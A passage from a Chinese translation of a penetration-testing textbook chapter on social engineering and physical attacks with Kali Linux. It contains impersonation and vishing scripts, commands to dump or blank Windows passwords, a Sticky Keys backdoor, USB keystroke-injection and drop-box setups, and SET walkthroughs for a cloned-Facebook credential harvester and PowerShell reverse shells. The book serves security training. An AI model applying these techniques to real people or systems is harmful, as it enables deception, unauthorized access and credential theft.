原文:
annas-archive.org/md5/f5feb6589da538624c2172905f61ccec
译者:飞龙
第五章:高级社会工程学和物理安全
社会工程学是一种通过与人类互动来操纵他们,从而获取信息或执行恶意活动的方法。它是最有效的攻击手段,已经使许多大型组织陷入安全事件之中。攻击者可以通过利用人类心理来选择单一或多种方式针对个人,这样可以有效地欺骗人类,让他们为攻击者提供对系统的物理访问权限。它是红队演练、渗透测试或实际攻击中使用的最成功的攻击途径。社会工程学攻击的成功依赖于两个关键因素:
-
在侦察阶段获得的知识。攻击者必须知道与目标相关的名称和用户名;更重要的是,攻击者必须了解网络中用户的关注点。
-
了解如何运用这些知识来说服潜在目标启动攻击,通过冒充权威与他们通话,询问他们的信息,鼓励他们点击链接或执行程序。近年来,以下两种战术最为成功:
-
如果目标公司最近刚刚完成年终评估,那么公司中的每个员工都会非常关注从人力资源部门收到更新后的薪资包。因此,与该主题相关的电子邮件或文档很可能会被目标个人打开。
-
如果目标公司收购或合并了另一家公司,则社交工程学攻击的类型将是鲸吞攻击,目标是 C 级管理人员以及两家公司中的其他高管。此类攻击的主要原理是,用户拥有的特权越多,攻击者可以获得的访问权限也就越多。
-
Kali Linux 提供了多个工具和框架,如果将社会工程学作为前提来影响受害者打开文件或执行特定操作,这些工具和框架的成功几率会大大提高。例如,Metasploit 框架创建的基于文件的可执行文件,以及使用无文件技术的 PowerShell 脚本(如 Empire 3)。
在本章中,我们将探讨一些战术、技术和流程(TTPs),并深入了解如何利用社会工程学工具包(也称为SET和SEToolkit)以及Gophish。使用这些工具的技术将作为运用社会工程学从其他工具中部署攻击的模型。
到本章结束时,您将学习以下概念和方法:
-
攻击者可能采取的不同社会工程学攻击方法
-
如何在控制台执行物理攻击
-
使用微控制器和 USB 创建伪造物理设备
-
通过凭证收割者攻击收集用户名和密码
-
启动 Tabnabbing 和 Web Jacking 攻击
-
使用多重攻击 Web 方法
-
使用 PowerShell 的字母数字 Shellcode 注入攻击
-
如何在 Kali Linux 上设置 Gophish
-
发起电子邮件钓鱼活动
为支持 SET 的社会工程学攻击,以下一般实施实践也将被描述:
-
隐藏恶意可执行文件并混淆攻击者的 URL
-
通过 DNS 重定向升级攻击
-
通过 USB 获取系统和网络的访问权限
命令方法学和 TTPs
作为支持网络杀伤链方法论的攻击路径,社会工程学专注于利用人的信任和天生的帮助意识来欺骗和操纵他们,从而破坏网络及其资源。
图 5.1展示了攻击者可以采取的不同攻击方法,以收集信息和/或获取访问权限。
图 5.1:不同类型的社会工程学策略
从本书的前几版中,我们现在已将社会工程学策略重新分类为两大类:一类涉及技术,另一类包括针对人的特定技术。以下章节将简要介绍这两类;之后我们将探讨基于计算机的攻击,特别是使用 Kali Linux 进行的物理攻击和电子邮件钓鱼攻击。
技术
随着技术从传统 PC 到笔记本电脑和手机的演变,社会工程学技术也在不断发展。本节将讨论可以使用 Kali Linux 进行的基于计算机和移动设备的攻击。
基于计算机的
利用计算机进行社会工程学攻击可以细分为以下几种类型。所有这些攻击都最好在最大化利用所有被动和主动侦察信息的基础上进行:
-
电子邮件钓鱼:利用电子邮件媒介收集信息或利用受害者系统中已知软件漏洞的攻击称为电子邮件钓鱼。
-
诱饵/交换条件:这是一种通过利用 USB 闪存盘和光盘来嵌入已知漏洞并创建后门的技术。诱饵更侧重于通过使用物理媒介来利用人类的好奇心。攻击者可以创建一个特洛伊木马,借助自动运行功能或用户点击打开驱动器内的文件时,提供对系统的后门访问。交换条件与诱饵类似,但在这种情况下,受害者会为特洛伊木马提供某些东西作为交换。
-
Wi-Fi 钓鱼:渗透测试人员可以利用此技术通过设置一个与目标公司相似的虚假 Wi-Fi 网络来收集用户名和密码。例如,攻击者可以通过将其 Wi-Fi 的 SSID 设置为与公司相同(或相似)来瞄准目标公司,从而允许用户无需密码即可连接到虚假的无线路由器。我们将在第六章,无线和蓝牙攻击中深入探讨这些攻击。
基于移动设备
基于移动设备的攻击已成为一种轻松获取机密信息或尝试收集其他重要细节的方法,这些细节可能有助于渗透测试或红队演练(RTE)的目标。我们将讨论攻击者常用的两种基于移动设备的攻击:
-
短信钓鱼:攻击者通过短消息服务(SMS)执行钓鱼攻击,发送包含链接的短信或草拟一条允许用户点击链接或回复文本的消息。渗透测试人员还可以利用公开提供的服务,例如
www.spoofmytextmessage.com/free
。 -
快速响应码(QR 码): 在红队演练中,二维码也是将有效负载传递到隔离区域的最有效方式。类似于垃圾邮件,包含中奖奖励信息或最新消息(如免费新冠疫苗注册)的二维码可以打印出来,并张贴在人们常去的地方,例如餐厅、吸烟区、厕所和其他繁忙区域。
基于人群
基于人群的攻击是红队演练或渗透测试中最有效的攻击类型。这些攻击集中在特定情况下人们的行为。以下部分解释了通过专注于人们的弱点以及利用这些弱点的不同策略来执行的不同类型的攻击。
物理攻击
物理攻击通常涉及攻击者的实际存在,攻击者随后执行社交工程攻击。以下是进行红队演练或渗透测试时常见的两种物理攻击类型:
-
冒充或伪装:这包括测试者编写脚本并冒充重要人物,以从目标员工群体中获取信息。我们最近进行了一次社会工程攻击,目的是通过一次物理社会工程演练,识别域用户的用户名和密码。场景设定为攻击者与受害者对话,并冒充内部 IT 帮助台,“亲爱的 X 先生,我是来自内部 IT 部门的 Y 先生。我们注意到您的系统已经与网络断开连接 20 天。由于最近发生的勒索病毒攻击,建议您安装最新的系统更新。您能提供您的笔记本电脑以及用户名和密码吗?”这导致用户提供了登录详情,并且作为奖励,将笔记本电脑交给了攻击者。攻击者的下一步是将后门程序植入系统,以保持持续访问。
-
控制台攻击:这些攻击包括所有涉及物理访问系统的攻击,例如更改管理员用户的密码、植入键盘记录器、提取存储的浏览器密码或安装后门程序。
基于语音的
任何通过语音信息欺骗用户在计算机上执行操作或泄露敏感信息的攻击,都被称为基于语音的社会工程攻击。
电话欺诈(vishing)是利用录音语音信息或个人直接拨打电话给受害人,以从目标受害人或受害人群体中提取信息的艺术。通常,电话欺诈会涉及可信的脚本,例如,如果公司 X宣布与公司 Y建立新的合资企业,员工会对两家公司未来的发展感到好奇。这使得攻击者可以直接拨打电话,使用预先定义的脚本,如下所示:
“您好,我是来自公司 Y 的 X 先生。我们现在已经宣布参与了一个合资企业,因此从技术上讲,我们都在同一个团队中。您能告诉我您的数据中心在哪里吗,并提供一份关键任务服务器的清单吗?如果您不是合适的人选,能否指引我找对人?非常感谢,X 先生。”
精心设计的电话欺诈(vishing)可以使攻击者不仅获得机密信息,还能保持隐蔽,避免引起不必要的注意。接下来我们讨论一个重要的攻击方法——获取物理设备的访问权限。
控制台的物理攻击
在本节中,我们将探讨在可以进行物理访问的系统上通常执行的不同类型攻击。
samdump2 和 chntpw
最常用的密码哈希转储方法之一是利用samdump2
。这可以通过打开已获取系统的电源,然后通过我们的 Kali USB 启动它,方法是在 BIOS 中进行必要的更改(比如在联想电脑上,可以按F12键进入启动菜单并选择 USB)来完成:
-
一旦通过 Kali 启动系统,默认情况下本地硬盘必须作为媒体驱动器挂载(假设媒体驱动器没有被 BitLocker 或类似的加密保护),如 图 5.2 所示:
图 5.2:Kali Linux 上的所有挂载磁盘
-
如果默认没有挂载驱动器,攻击者可以通过运行以下命令手动挂载驱动器:
mkdir /mnt/target1 mount /dev/sda2 /mnt/target1
-
系统挂载后,导航到挂载的文件夹(在我们的例子中为
/media/root/<ID>/Windows/System32/Config
),并运行samdump2 SYSTEM SAM
,如 图 5.3 所示。SYSTEM
和SAM
文件应显示系统驱动器上的所有用户及其密码哈希,随后可使用John
(John the Ripper)或hashcat
工具离线破解密码。图 5.3:使用 samdump2 输出的密码哈希
使用相同的访问权限,攻击者还可以从系统中删除用户密码。
chntpw
是一个 Kali Linux 工具,可用于编辑 Windows 注册表、重置用户密码、将用户提升为管理员,并提供其他一些有用的选项。使用chntpw
是重置 Windows 密码或在密码未知的情况下访问 Windows 计算机的好方法。chntpw
是一个工具,用于查看信息并更改 Windows NT/2000、XP、Vista、7、8.1、10 以及其他 Windows 服务器的用户密码,支持通过外部驱动器启动设备。 -
SAM 用户数据库文件通常位于 Windows 文件系统的
\WINDOWS\system32\config\SAM
。导航到文件夹,如 图 5.4 所示:图 5.4:来自 Windows system32 config 文件夹的所有文件
-
运行
chntpw SAM
;密码存储在 Windows 中的SAM
文件中。安全账户管理器 (SAM) 是 Windows XP、Windows Vista 和 Windows 7 中的一个数据库文件,存储用户的密码。
SAM 文件可以用于验证本地和远程用户。通常,SAM
文件位于 C/Windows/system32/config/SAM
:
-
在 Kali Linux 终端中输入
chntpw -i SAM
,路径为/media/root/<ID>/Windows/System32/Config
-
选择
1 – 编辑用户数据和密码
-
输入用户的
RID
,在此例中为03ef
,如 图 5.5 所示:图 5.5:使用 chntpw 编辑 SAM 文件的交互式终端
选择 1 – 清除(空白)用户密码
,然后输入 q
完成任务。输入 y
进行 写入 hive
文件
。最后,你应该能够得到类似于 <SAM> - OK
的确认信息。图 5.6 显示了编辑后的 SAM 文件内容:
图 5.6:最终的 SAM 文件编辑确认,表明我们的密码已设置为空
在 Windows 10 中,系统重启后会包含 hyberfile.sys
文件,这会阻止攻击者挂载系统驱动器。要挂载系统驱动器并访问该驱动器,可以使用 mount -t ntfs-3g -ro remove_hiberfile /dev/sda2 /mnt/folder
。请注意,某些具有端点加密工具(如 BitLocker 或任何其他供应商工具)的系统,在删除此文件后可能无法启动。
其他绕过工具包括 Kon-boot,它是另一种取证工具,利用类似于 chntpw
的功能。Kon-boot 仅影响管理员账户,不会移除管理员的密码;它只让你在不输入密码的情况下登录,在下次正常系统重启时,原始的管理员密码仍然 intact。
该工具可以从此网站下载:www.piotrbania.com/all/kon-boot/
。
Sticky Keys
在本节中,我们将探讨如何利用物理访问 Windows 计算机的控制台(该计算机解锁或没有密码)。攻击者可以利用微软 Windows Sticky Keys 特性在几秒钟内植入后门;然而,前提是你需要管理员权限才能放置可执行文件。但当系统通过 Kali Linux 启动时,攻击者可以不受任何限制地放置文件。
以下是攻击者可以利用的 Windows 工具列表,这些工具可以将实用程序可执行文件替换为 cmd.exe
或 powershell.exe
:
-
sethc.exe
-
utilman.exe
-
osk.exe
-
narrator.exe
-
magnify.exe
-
displayswitch.exe
以下是将 sethc.exe
替换为 cmd.exe
的步骤:
cd /media/root/<ID>/Windows/System32/
cp cmd.exe /home/kali/Desktop
mv /home/kali/Desktop/cmd.exe /home/kali/Desktop/sethc.exe
rm sethc.exe
mv /home/kali/Desktop/sethc.exe .
图 5.7 显示了 cmd.exe
的后门,当我们按下 Shift 键五次以调用 sethc.exe
时,命令提示符会出现,因为我们将 cmd.exe
替换为 sethc.exe
。
图 5.7:显示 Sticky Keys
(sethc.exe)后门运行命令提示符(cmd.exe)
我们已经探讨了如何清除 Windows 10 本地用户的密码,并通过合法的 Windows 程序设置后门。
创建一个伪造的物理设备
Kali 还可以帮助进行入侵者直接物理访问系统和网络的攻击。这种攻击可能具有风险,因为入侵者可能会被细心的人发现或被监控设备拍到。然而,回报可能非常可观,因为入侵者可以入侵包含重要数据的特定系统。
物理访问通常是社会工程学的直接结果,尤其是在使用冒充时。常见的冒充包括以下几种:
-
一个自称是帮助台或 IT 支持人员的人,声称只是需要快速通过安装系统升级来中断受害者。
-
一名供应商拜访客户,然后借口与别人交谈或去卫生间。
-
送货员送包裹。攻击者可以在网上购买送货制服;然而,由于大多数人认为穿着全身棕色制服并推着装满箱子的手推车的人是 UPS 的送货员,因此制服在社会工程中往往不是必需的!
-
穿着工装、手里拿着打印出来的工作单的工人通常会被允许进入配线间和其他区域,特别是当他们声称是根据楼宇经理的要求前来时。
-
穿上昂贵的西装,拿着文件夹,走路迅速;员工们会认为你是个不为人知的经理。在进行这种渗透测试时,我们通常会告诉别人我们是审计员,而且我们的检查很少受到质疑。
敌对物理访问的目标是迅速破坏选定的系统;这通常是通过在目标上安装后门或类似设备来实现的。一种经典的攻击方式是将一个 USB 键(形式为键盘/鼠标)插入系统,并让系统通过自动播放选项安装它;然而,许多组织会在整个网络中禁用自动播放功能。
攻击者还可以设置诱饵陷阱:携带含有文件的移动设备,文件名吸引人点击并查看内容。以下是一些例子:
-
带有“员工薪资”、“医疗保险更新”或“Covid-19 退出策略”等标签的 USB 驱动器。
-
Metasploit 允许攻击者将有效载荷(如反向 Shell)绑定到可执行文件(如屏幕保护程序)上。攻击者可以使用公开可用的公司图片创建屏幕保护程序,并将带有新屏幕保护程序的 USB 寄给员工。当用户安装该程序时,后门也被安装,并连接到攻击者的服务器。
-
如果你知道员工最近参加了某个会议,攻击者可以冒充出席的供应商,并向目标发送一封信,暗示这是供应商展会的后续。典型的消息内容是,“如果你错过了我们的产品演示和一年的免费试用,请通过点击 start.exe 查看附带的 USB 中的幻灯片。”
微型计算机或基于 USB 的攻击代理
我们注意到在 RTE/渗透测试中使用微型计算机和基于 USB 的设备的显著增加。这些设备由于其紧凑性而被广泛使用;它们可以隐藏在网络的任何地方,并且几乎能运行任何一台完整的笔记本电脑能运行的程序。在本节中,我们将探讨最常用的设备——树莓派和 MalDuino USB。
树莓派
树莓派是一款微型计算机,尺寸约为 8.5 厘米×5.5 厘米,但它却集成了 2-8GB 的 RAM、两个 USB 2.0 或两个 USB 3.0 端口以及一个由 Broadcom 芯片支持的以太网端口,采用 1.5GHz 的 64 位四核 CPU,并支持 Wi-Fi 和蓝牙。它没有硬盘,而是使用 SD 卡进行数据存储。如图 5.8所示,树莓派几乎是口袋大小;它很容易隐藏在网络中(例如放置在工作站或服务器后面,置于服务器机柜内,或者隐藏在数据中心的地板板下)。
图 5.8:组装好的树莓派 4 照片
要将树莓派配置为攻击向量,需要以下物品:
-
一块树莓派 Model B,或更新版本
-
一根 HDMI 线
-
一根 micro-USB 线和充电器
-
一根以太网线或迷你无线适配器
-
一张 SD 卡,Class 10,至少 16GB 的容量
总的来说,所有这些设备通常都可以在网上购买,总花费不到 100 美元。以下是将树莓派配置为最新版本的 Kali Linux 的步骤:
-
要配置树莓派,请从
www.kali.org/get-kali/#kali-arm
下载最新版本的 Kali Linux ARM 版。从源压缩包中提取它。如果您正在从基于 Windows 的桌面配置,则可以使用第一章中介绍的相同 Rufus 工具来制作启动的 Kali USB 磁盘。 -
使用卡读器,将 SD 卡连接到基于 Windows 的计算机,并打开 Rufus 工具。选择之前下载并解压的 Kali ARM 版本,
kali-custom-rpi.img
,并将其写入 SD 卡。从 Mac 或 Linux 系统烧录 SD 卡的详细说明可以在 Kali 官网找到:www.kali.org/docs/usb/live-usb-install-with-mac/
。 -
将新烧录的 SD 卡插入树莓派,并将以太网线或无线适配器连接到 Windows 工作站,将 HDMI 线连接到显示器,将 micro-USB 电源线连接到电源,键盘和鼠标也连接好。连接电源后,树莓派将直接启动进入 Kali Linux。树莓派依赖外部电源,并且没有独立的开关;但是,Kali Linux 仍然可以通过在终端中运行
halt
命令来关闭。Kali 安装完成后,确保使用apt update
命令进行更新。 -
请确保尽快更改 SSH 主机密钥,因为所有树莓派映像都使用相同的密钥。在 Kali Linux 终端中使用以下命令:
sudo rm /etc/ssh/ssh_host_* sudo dpkg-reconfigure openssh-server sudo service ssh restart
同时,确保通过在终端中运行
sudo passwd kali
更改默认的用户名和密码。 -
配置树莓派定期通过
cron
任务连接回攻击者的计算机(使用静态 IP 地址或 DynDNS)。然后,攻击者必须物理访问目标的场所,并将树莓派连接到网络。大多数网络会自动为设备分配 DHCP 地址,并且对这种攻击类型的防御有限。 -
一旦树莓派连接回攻击者的 IP 地址,攻击者可以远程使用 SSH 发出命令,对受害者的内部网络进行侦察和利用。
如果连接了无线适配器,如 EW-7811Un V2,即 150 Mbps 无线 802.11b/g/n Nano USB 适配器,攻击者可以通过无线连接或使用树莓派发起无线攻击。
MalDuino:坏 USB
MalDuino 是一个由 Arduino 驱动的 USB 设备,攻击者可以在 RTE/渗透测试活动中使用该设备。该设备具有键盘注入功能,能够在几分之一秒内运行命令。这些设备在拥有组织建筑物物理访问权限的情况下,尤其有用。通常,组织内部的人很少锁定他们的计算机,认为物理访问限制就是安全措施,不会有人动手。即使攻击者物理访问了系统,工作人员也可以辩称“我们没有 USB 政策”;嗯,这是个好理由。但禁用 USB 并不等于禁用基于 USB 的键盘——当攻击者插入 MalDuino 时,它会充当键盘,模拟人类输入命令,并精确执行指定的有效载荷。
MalDuino 有两个版本:Elite 和 Lite。区别在于,Elite 提供了一个 SD 卡选项,可以在设备上的硬件开关下加载大约 16 个不同的有效载荷,这样你就不需要重新配置整个设备。使用 MalDuino Lite,每次更改有效载荷时都需要重新配置设备。
该板支持 Ducky Script 模板,使得创建自定义脚本变得容易。图 5.9 展示了 MalDuino Elite 硬件:
图 5.9:MalDuino 作为 USB 设备
设置板子的说明可以在 malduino.com/wiki/doku.php?id=setup:elite
找到。
我们将专注于通过以下步骤为板子设置 Empire PowerShell 脚本:
-
在 Empire 中生成 PowerShell 有效载荷(参见第十章,利用)。
-
确保监听器已经启动并在监听任何连接。
-
将 PowerShell 启动器转换成字符串;由于 MalDuino 的缓冲区大小为 256 字节,因此有效载荷必须被分割。这可以通过访问
malduino.com/converter/
来实现。 -
一旦字符串转换完成,它应该像图 5.10中所示那样:
图 5.10:组织字符串以匹配每行 254 字符的限制
-
下一步是将有效载荷构建成脚本,如图 5.11所示:
图 5.11:将有效载荷加载到 MalDuino 中
-
最后的操作是将设备插入受害者的机器;此时,你应该能够看到代理回报,如图 5.12所示:
图 5.12:MalDuino 成功连接到我们的 Empire 监听器
我们已经学会如何利用专为 MalDuino USB 设计的设备来启动反向 Shell 连接到攻击者。攻击者还可以利用另一种场景,即将这些设备投放到目标地点,例如自助餐厅,甚至将其快递给公司 CEO 的私人助理,并附上一封来自法院或监管机构的高警报信息;受害者的好奇心或恐惧心理完成了攻击者的任务。
社会工程工具包 (SET)
SET 由 David Kennedy(@ReL1K
)创建和编写,他是 trustedsec 的创始人,并由一个活跃的协作小组维护(www.social-engineer.org
)。它是一个开源的、基于 Python 的框架,专门设计用于便于社会工程攻击。
该工具的设计目标是通过培训实现安全性。SET 的一个重要优势是它与 Metasploit 框架的互联性,Metasploit 提供了所需的有效载荷、绕过杀毒软件的加密技术以及连接到受损系统的监听模块,当它发送 Shell 回到攻击者时。
在 Kali 发行版中打开 SET,进入Applications | Social Engineering Tools | social engineering toolkit
,或在 Shell 提示符下输入sudo setoolkit
。你将看到如图 5.13所示的主菜单:
图 5.13:SET 启动屏幕
如果选择1) 社会工程攻击
,将会出现如下子菜单,如图 5.14所示:
图 5.14:社会工程攻击主菜单
攻击菜单选项如下:
-
鱼叉式钓鱼攻击向量:此模块允许攻击者创建电子邮件消息和模板,并将其与附加的漏洞一起发送到目标受害者。
-
网站攻击向量:这是一个综合模式,允许攻击者利用多个子模块进行各种网站攻击——我们将在接下来的章节中探索一些模块。
-
感染性媒体生成器:该选项会创建一个
autorun.inf
文件和 Metasploit 有效载荷。一旦烧录或复制到 USB 设备或物理媒体(如 CD 或 DVD),并插入目标系统,它将触发自动运行(如果启用了自动运行)并破坏系统。 -
创建有效载荷和监听器:此模块是一个快速的菜单驱动方式来创建 Metasploit 有效载荷。攻击者必须使用另一个社会工程攻击说服目标启动它。
-
群发邮件攻击:能够使用
Sendmail
发送群发邮件并伪造发件人身份。 -
基于 Arduino 的攻击向量:这通过编程 Arduino 设备,如 Teensy(
www.pjrc.com/teensy/
)。因为这些设备在连接到物理 Windows 系统时会注册为 USB 键盘,所以它们能够绕过基于禁用自动运行或其他终端保护的安全措施。 -
无线接入点攻击向量:这将在攻击者的系统上创建一个伪造的无线接入点和 DHCP 服务器,并将所有 DNS 查询重定向到攻击者。攻击者随后可以发起各种攻击,例如 Java 小程序或凭证收集器攻击。
-
二维码生成器攻击向量:这会创建一个与攻击相关联的二维码,二维码中包含一个指定的 URL。
-
PowerShell 攻击向量:这允许攻击者创建依赖于 PowerShell 的攻击,PowerShell 是一种命令行外壳和脚本语言,在 Vista 及以后版本的 Windows 中可用。
-
第三方模块:这允许攻击者使用 远程管理工具 Tommy 版 (RATTE) 和 Zonksec 提供的 Google Analytics 攻击。RATTE 是 Java 小程序攻击的一部分,它是一个基于文本菜单的远程访问工具,可以作为独立的载荷使用。
SET 还提供了 快速渗透测试 的菜单项,快速访问一些支持 SQL 数据库暴力破解和密码破解的专用工具,以及基于 Python 的一些自定义漏洞利用工具,SCCM 攻击向量,Dell 计算机 DRAC/机箱利用,用户枚举和 PsExec PowerShell 注入。
菜单还提供了更新 SET 和更新配置的选项。然而,这些额外的选项应避免使用,因为 Kali 不完全支持它们,可能会与依赖关系产生冲突。
社会工程攻击
社会工程工具包的最新版本已移除了伪造短信和全屏攻击模块。以下是社会工程攻击的简要说明。
鱼叉式钓鱼攻击向量
允许攻击者创建邮件并将其发送给目标受害者,附带漏洞利用代码。网站攻击向量
利用多种基于网络的攻击方式,包括以下几种:
-
Java 小程序攻击方法:这会伪造 Java 证书并传递基于 Metasploit 的载荷。这是最成功的攻击之一,能有效攻击 Windows、Linux 和 macOS 目标。
-
Metasploit 浏览器漏洞攻击方法:这通过 iFrame 攻击传递 Metasploit 载荷。
-
凭证收集器攻击方法:这会克隆一个网站,并自动重写
POST
参数,允许攻击者拦截并收集用户凭证;收集完成后,它会将受害者重定向回原始网站。 -
Tabnabbing 攻击方法:这会将一个不活动的浏览器标签页上的信息替换为一个克隆页面,该页面链接回攻击者。当受害者登录时,凭证会被发送给攻击者。
-
Web 劫持攻击方法:该方法利用 iFrame 替换,使突出显示的 URL 链接看起来是合法的;然而,当点击该链接时,会弹出一个窗口,并且合法的链接会被恶意链接替换。
-
多重攻击网络方法:这允许攻击者选择一次发起的多个攻击中的一部分或全部,包括以下内容:
-
Java 小应用攻击方法
-
Metasploit 浏览器漏洞利用方法
-
凭证收集攻击方法
-
Tabnabbing 攻击方法
-
Web 劫持攻击方法
-
-
HTA 攻击方法:这是一种攻击者展示一个伪造网站,自动下载
.HTA
格式的 HTML 应用程序。
作为 SET 强大功能的初步示例,我们将看到它如何被用来获得远程 Shell:即从被攻击系统到攻击者系统的连接。
执行 Tabnabbing 攻击的测试人员可能会遇到以下错误信息:[!] 出现问题,打印错误:模块 'urllib' 没有属性 'urlopen'
。这是当前版本的已知问题。然而,可以选择多重攻击网络方法,然后执行 Tabnabbing 攻击。
凭证收集器 Web 攻击方法
凭证(通常是用户名和密码)使得一个人可以访问网络、计算系统以及更广泛的数据。攻击者可以通过间接方式使用这些信息(例如,登录受害者的 Gmail 账户并发送电子邮件来推动攻击,针对受害者的信任关系),或直接攻击用户账户。由于凭证广泛重用,这种攻击尤其具有相关性;用户通常会在多个地方重复使用相同的密码。
特别重要的是拥有特权访问权限的人的凭证,例如系统管理员或数据库管理员的凭证,这可以让攻击者访问多个账户和数据存储库。
SET 的凭证收集攻击使用克隆站点来收集凭证。要启动此攻击,从主菜单选择 2) 网站攻击向量
,然后选择 3) 凭证收集攻击方法
,再选择 2) 网站克隆
。
在这个示例中,我们将按照菜单选择克隆一个网站,如 Facebook,如 图 5.15 所示:
图 5.15:使用凭证收集器克隆 Facebook 到我们的 Kali Linux 系统
再次提醒,攻击者的 IP 地址必须发送到目标。当目标点击链接或输入 IP 地址时,他们将看到一个克隆页面,类似于 Facebook 的常规登录页面,如 图 5.16 所示,并会被提示输入用户名和密码:
图 5.16:在我们的本地 Kali Linux 上托管 facebook.com
完成后,用户将被重定向到常规的 Facebook 站点,在那里他们将登录自己的账户。在后台,他们的访问凭证将被收集并转发给攻击者。攻击者将看到如下记录,如图 5.17所示:
图 5.17:成功捕获我们托管的本地 facebook.com 的用户名和密码字段
当攻击者完成凭证收集后,按下Ctrl + C会在/SET/reports
目录下生成两个报告,格式分别为 XML 和 HTML。
请注意,URL 栏中的地址并不是有效的 Facebook 地址;大多数用户如果看到该地址会意识到有问题。成功的攻击需要攻击者为受害者准备一个合适的借口或故事,让受害者接受这个不寻常的 URL。例如,向一个非技术性的管理层目标群体发送电子邮件,通知他们现在由 IT 托管的本地 Facebook 站点可以减少邮件系统的延迟。
凭证收集攻击是评估公司网络安全的一个优秀工具。为了有效实施,该组织首先需要培训所有员工,教他们如何识别并应对钓鱼攻击。大约两周后,发送一封包含一些明显错误(如错误的公司 CEO 名字或包含错误地址的地址块)和一个能够收集凭证的程序链接的公司内部邮件。计算响应凭证的收件人百分比,并根据结果调整培训计划,以减少这个百分比。
多重攻击网络攻击方法
网站攻击向量的 Hail Mary 攻击是一种多重攻击网络方法,允许攻击者同时实施几种不同的攻击,前提是他们选择这样做。默认情况下,所有攻击都是禁用的,攻击者可以选择对目标执行哪些攻击。要启动此攻击,请从主菜单选择2) 网站攻击向量
,然后选择6) 多重攻击网络方法
,接着选择2) 网站克隆
,如图 5.18所示:
图 5.18:多重攻击网络攻击向量菜单
你可以选择6\. 使用所有攻击 – 即“战术核弹”
,或者输入你想要执行的攻击类型的数字;例如,对于Web Jacking 攻击方法
,请输入5
。
如果你不确定哪些攻击对目标组织有效,这是一种有效的选项;选择一名员工,确定成功的攻击类型,然后将其重复用于其他员工。
HTA 网络攻击方法
这种类型的攻击是一个简单的 HTML 应用程序,可以为远程攻击者提供完全访问权限。HTA 文件的常见扩展名是 .hta
。HTA 被视为与 .exe
扩展名的可执行文件一样。当通过 mshta.exe
执行时(或双击文件图标时),它会立即运行。当通过浏览器远程执行时,用户会在 HTA 下载之前被询问是否保存并运行该应用程序;如果保存,之后可以按需运行该程序。
攻击者可以使用 Web 技术为 Windows 创建恶意应用程序。要使用社会工程工具包发起 HTA 攻击,从主菜单选择 1) 社会工程攻击
。然后,从下一个菜单选择 2) 网站攻击向量
,再选择 7) HTA 攻击方法
,最后选择 2) 网站克隆器
来克隆任意网站。在本例中,我们将克隆 facebook.com
,如图 5.19所示:
图 5.19:通过克隆 facebook.com 成功设置 HTA 网络攻击
攻击者现在将向受害者用户发送伪造的 facebook.com
网站,以进行信息钓鱼;图 5.20 展示了受害者将看到的内容:
图 5.20:受害者的屏幕,在 HTA 负载传送到终端时弹出
如果受害者用户在系统上本地运行 HTA 文件,Internet Explorer 安全性将弹出一个额外的对话框,建立与攻击者的反向连接,如图 5.21所示。SET 应该会自动设置 Metasploit 的监听器:
图 5.21:成功执行负载,导致 Metasploit 反向 Shell 连接受害者
使用 PowerShell 字母数字 Shellcode 注入攻击
SET 还结合了基于 PowerShell 的更有效攻击方法,这些方法在 Microsoft Windows Vista 发布后,适用于所有 Microsoft 操作系统。由于 PowerShell shellcode 可以轻松地注入目标的物理内存,通过这种方式发起的攻击不会触发杀毒软件警报。
要使用 SET 发起 PowerShell 注入攻击,从主菜单选择 1) 社会工程攻击
。然后从下一个菜单选择 9) PowerShell 攻击向量
。这将给攻击者提供四种攻击类型的选择;对于本示例,选择 1
来调用 PowerShell 字母数字 shellcode 注入器。这将设置攻击参数,并提示攻击者输入负载监听器的 IP 地址,这通常是攻击者的 IP 地址。输入完成后,程序将创建利用代码并启动本地监听器。
启动攻击的 PowerShell Shellcode 存储在 /root/.set/reports/ powershell/x86_powershell_injection.txt
中。攻击的社会工程学部分发生在攻击者说服目标受害者将 x86_powershell_injection.txt
的内容复制到 PowerShell 提示符中,如图 5.22所示,并执行代码:
图 5.22:/root/.set/reports/powershell 文件夹中的 PowerShell 载荷
如图 5.23所示,Shellcode 的执行没有触发目标系统的杀毒警报。相反,当代码被执行时,它在攻击系统上打开了一个 Meterpreter 会话,并允许攻击者与远程系统建立交互式 Shell:
图 5.23:确认 Metasploit 反向 Shell 从受害者到我们的 SET 监听器
一旦获得远程系统的访问权限,攻击者应创建一个后门,关于这一点,我们将在第十三章《命令与控制》中深入探讨。我们现在已经探索了攻击者在使用 SET 进行社会工程学攻击时可以使用的重要技术。
隐藏可执行文件并混淆攻击者的 URL
如前面示例所示,成功发起社会工程学攻击有两个关键。第一个是获取使其有效所需的信息:用户名、业务信息以及有关网络、系统和应用程序的支持细节。然而,大部分的精力集中在第二个方面:精心设计攻击以诱使目标打开可执行文件或点击链接。
一些攻击生成的模块需要受害者执行它们才能使攻击成功。不幸的是,用户对执行未知软件的警觉性越来越高。然而,有一些方法可以增加攻击执行成功的可能性,包括以下几种:
-
从受害者已知并信任的系统发起攻击,或伪造攻击的来源。如果攻击看起来来自帮助台或 IT 支持,并声称是紧急软件更新,那么它很可能会被执行:
-
将可执行文件重命名为类似于受信任软件的名称,例如
Java Update
。 -
将恶意载荷嵌入到一个无害的文件中,例如 PDF 文件,通过一种攻击方式,如 Metasploit 的
adobe_pdf_embedded_exe_nojs
攻击。 -
可执行文件也可以与 Microsoft Office 文件、MSI 安装文件或配置为在桌面上静默运行的 BAT 文件捆绑在一起。
-
让用户点击下载恶意可执行文件的链接。
-
-
由于 SET 使用攻击者的 URL 作为攻击的目标,成功的关键因素之一是确保攻击者的 URL 对受害者来说是可信的。为此,攻击者使用了几种技术,包括以下几种:
-
使用像
goo.gl/
或tinyurl.com这样的服务来缩短网址。这些缩短的 URL 在社交媒体平台上很常见,例如 Twitter,受害者在点击这些链接时通常不会采取任何预防措施。 -
在社交媒体网站上输入链接,例如 Facebook 或 LinkedIn;该网站会生成一个自己的链接来替代你的链接,并显示目标页面的图片。然后,删除你输入的链接,留下新的社交媒体链接。
-
在 LinkedIn 或 Facebook 上创建一个虚假网页;作为攻击者,你控制内容,可以创造一个引人入胜的故事,促使成员点击链接或下载可执行文件。一个执行得当的页面不仅会针对员工,还会瞄准供应商、合作伙伴及其客户,从而最大化社会工程学攻击的成功率。
-
使用 DNS 重定向升级攻击
